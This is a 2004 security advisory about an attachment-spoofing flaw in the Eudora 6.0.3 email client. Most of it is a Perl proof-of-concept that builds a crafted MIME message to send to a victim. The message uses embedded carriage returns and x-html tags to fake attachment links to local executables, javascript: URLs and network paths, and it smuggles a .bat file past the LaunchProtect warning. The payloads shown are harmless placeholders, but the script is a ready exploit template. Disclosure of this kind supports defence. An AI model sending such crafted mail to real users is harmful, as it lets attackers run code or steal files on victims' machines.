[EXPL] Eudora Attachment Spoof Exploit Revisited

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Date: 03/23/04

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      Eudora Attachment Spoof Exploit Revisited
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.eudora.com/> Eudora is an advanced Email client for
    Windows/Mac. A known security bug that has been known for years is still
    present in the newest release of Eudora.

    DETAILS

    Vulnerable Systems:
     * Eudora version 6.0.3

    Exploit
    #!/usr/bin/perl --

    use MIME::Base64;

    print "From: me\n";
    print "To: you\n";
    print "Subject: Eudora 6.0.3 on Windows spoof, LaunchProtect\n";
    print "MIME-Version: 1.0\n";
    print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
    print "\n";
    print "This is a multi-part message in MIME format.\n";
    print "--zzz\n";
    print "Content-Type: text/plain\n";
    print "Content-Transfer-Encoding: 7bit\n";
    print "\n";

    print "Pipe the output of this script into: sendmail -i victim\n";

    print "\nWith spoofed attachments, we could 'steal' files if the message
    was forwarded (not replied to).\n";

    print "\nWithin plain-text email (or plain-text, inline MIME parts)
    embedded
    CR=x0d characters get converted internally into a NUL=x00 and ignored,
    so we can spoof \"attachment converted\" lines:\n";

    print "\nThe following work fine (but are boring and/or put up
    warnings):\n";
    print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";
    print "Attachment Converted\r: c:\\winnt\\system32\\calc.exe\n";
    print "(Note how JavaScript is done with IE, web with default browser
    Netscape)\n";
    print "Attachment Converted\r: <A
    href=javascript:alert(%27hello%27)>hello.txt</a>\n";
    print "Attachment Converted\r: <A
    href=http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx>web.txt</a>\n";
    print "Attachment Converted\r: <A
    href=c:/winnt/system32/calc.exe>file.txt</a>\n";

    print "\nIf we can guess the full path to the attach directory then can
    change the name shown to anything we like, but get broken icon:\n";
    print "Attachment Converted\r: <A
    href=H:/eudora/attach/calc>file.txt</a>\n";

    print "\nCuteness value only:\n";
    print "Attachment Converted\r: <A
    href=c:/winnt/system32/calc.exe>file1.txt</a> xyz <A
    href=c:/winnt/system32/calc.exe>file2.txt</a>\n";

    print "\n<x-html>
    With <b>HTML</b> <i>inclusions</i> we can do
    <a href=c:/winnt/system32/calc.exe>file</a>,
    <a
    href=\"http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\">http</a>
    and
    <a href=\"javascript:alert(\x27hello\x27)\">javascript</a>
    references. Any way to exploit this?
    </x-html>\n";

    print "\n<x-rich>
    Can also do RTF inclusions. Can this be abused?
    </x-rich>\n";

    print "\nThose <x-xyz></x-xyz> constructs allow spoofing
    attachments easily, without embedded CR:\n\n";
    print "HTML\n";
    print "<x-html></x-html>Attachment Converted: \"xyz\"\n";
    print "Rich\n";
    print "<x-rich></x-rich>Attachment Converted: \"xyz\"\n";
    print "Flowed\n";
    print "<x-flowed></x-flowed>Attachment Converted: \"xyz\"\n";

    print "\n";

    print "\n--zzz\n";
    print "Content-Type: text/plain; name=\"plain.txt\"\n";
    print "Content-Transfer-Encoding: 7bit\n";
    print "Content-Disposition: inline; filename=\"plain.txt\"\n";
    print "\n";
    print "Within a 'plain' attachment:\n";
    print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";

    print "\n--zzz\n";
    print "Content-Type: text/plain; name=\"qp.txt\"\n";
    print "Content-Transfer-Encoding: quoted-printable \n";
    print "Content-Disposition: inline; filename=\"qp.txt\"\n";
    print "\n";
    print "Within quoted-printable encoded parts still need the embedded
    CR:\n";
    print "=41ttachment=20=43onverted\r=3a
    \"c:\\winnt\\system32\\calc.exe\"\n";

    print "\n--zzz\n";
    print "Content-Type: text/plain; name=\"b64.txt\"\n";
    print "Content-Transfer-Encoding: base64\n";
    print "Content-Disposition: inline; filename=\"b64.txt\"\n";
    print "\n";
    $z = "Within base64 encoded (plain-text, inline) MIME parts, can spoof\r
    without embedded CR (but line termination is CR-NL):\r
    Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\r\n";
    print encode_base64($z);

    print "\n--zzz\n";
    print "Content-Type: text/plain\n";
    print "Content-Transfer-Encoding: 7bit\n";
    print "\n";

    print "\n=====\n";

    $X = 'README'; $Y = "$X.bat";
    print "\nThe X - X.exe dichotomy: send a plain $X attachment:\n";
    $z = "rem Funny joke\r\npause\r\n";
    print "begin 600 $X\n", pack('u',$z), "`\nend\n";
    print "\nand (in another message or) after some blurb so is scrolled off
    in
    another screenful, also send $Y. Clicking on $X does not
    get it any more (but gets $Y, with a LauchProtect warning):\n";
    $z = "rem Big joke\r\nrem Should do something nasty\r\npause\r\n";
    print "begin 600 $Y\n", pack('u',$z), "`\nend\n";

    print "\n=====\n";

    print "
    Eudora 6.0.3 LaunchProtect handles the X-X.exe dichotomy in the attach
    directory only, and allows spoofed attachments pointing to an executable
    stored elsewhere to run without warning:\n";
    print "Attachment Converted\r: <a
    href=c:/winnt/system32/calc>go.txt</a>\n";
    print "Attachment Converted\r: c:/winnt/system32/calc\n";

    print "
    Can be exploited if there is more than one way into attach: in my setup
    H: and \\\\rome\\home are the same thing, but Eudora does not know
    that.\n";
    print "These elicit warnings:\n";
    print "Attachment Converted\r: <a
    href=h:/eudora/attach/README>readme.txt</a>\n";
    print "Attachment Converted\r: h:/eudora/attach/README\n";
    print "Attachment Converted\r: \\README\n";
    print "Attachment Converted\r: .\\README\n";
    print "Attachment Converted\r: \\.\\README\n";
    print "Attachment Converted\r: \\README\n";
    print "Attachment Converted\r: \\ \\README\n";
    print "while these do the bad thing without warning:\n";
    print "Attachment Converted\r: <a
    href=file://rome/home/eudora/attach/README>readme</a>\n";
    print "Attachment Converted\r: //rome/home/eudora/attach/README\n";
    print "Attachment Converted\r: \\\\rome\\home\\eudora\\attach\\README\n";

    print "
    For the default setup, Eudora knows that C:\\Program Files
    and C:\\Progra~1 are the same thing:\n";
    print "Attachment Converted\r: \"c:/program
    files/qualcomm/eudora/attach/README\"\n";
    print "Attachment Converted\r:
    \"c:/progra~1/qualcomm/eudora/attach/README\"\n";
    print "
    and also knows that various UNC references:
    \\\\localhost\\c...
    \\\\127.0.0.1\\c...
    \\\\BIOSNAME\\c...
    \\\\DNSNAME\\c...
    \\\\IP\\c...
    \\\\\\?\\c...
    \\\\c...
    ..c:\\progr...
    ..c\\progr...
    ..c:progr...
    ..program files\\...
    ..progra~1\\...
    or even
    \\NoSuchDir\\..\\README
    //c|\\Program Files\\qualcomm\\eudora\\attach\\README
    \\\\c|\\Program Files\\qualcomm\\eudora\\attach\\README
    res://c:\\Program Files\\qualcomm\\eudora\\attach\\README
    res:\\\\c:\\Program Files\\qualcomm\\eudora\\attach\\README
    shell:Fonts\\..\\..\\Program Files\\qualcomm\\eudora\\attach\\README
    %ProgramFiles%\\qualcomm\\eudora\\attach\\README
    %windir%\\..\\Program Files\\qualcomm\\eudora\\attach\\README
    are all the same thing...
    ";

    print "\n";
    print "\n--zzz--\n";
    print "\n";

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:psz@maths.usyd.edu.au> paul
    szaboq.

    The original article can be found at:
    <http://www.securiteam.com/exploits/5FP0G15B5O.html>
    http://www.securiteam.com/exploits/5FP0G15B5O.html

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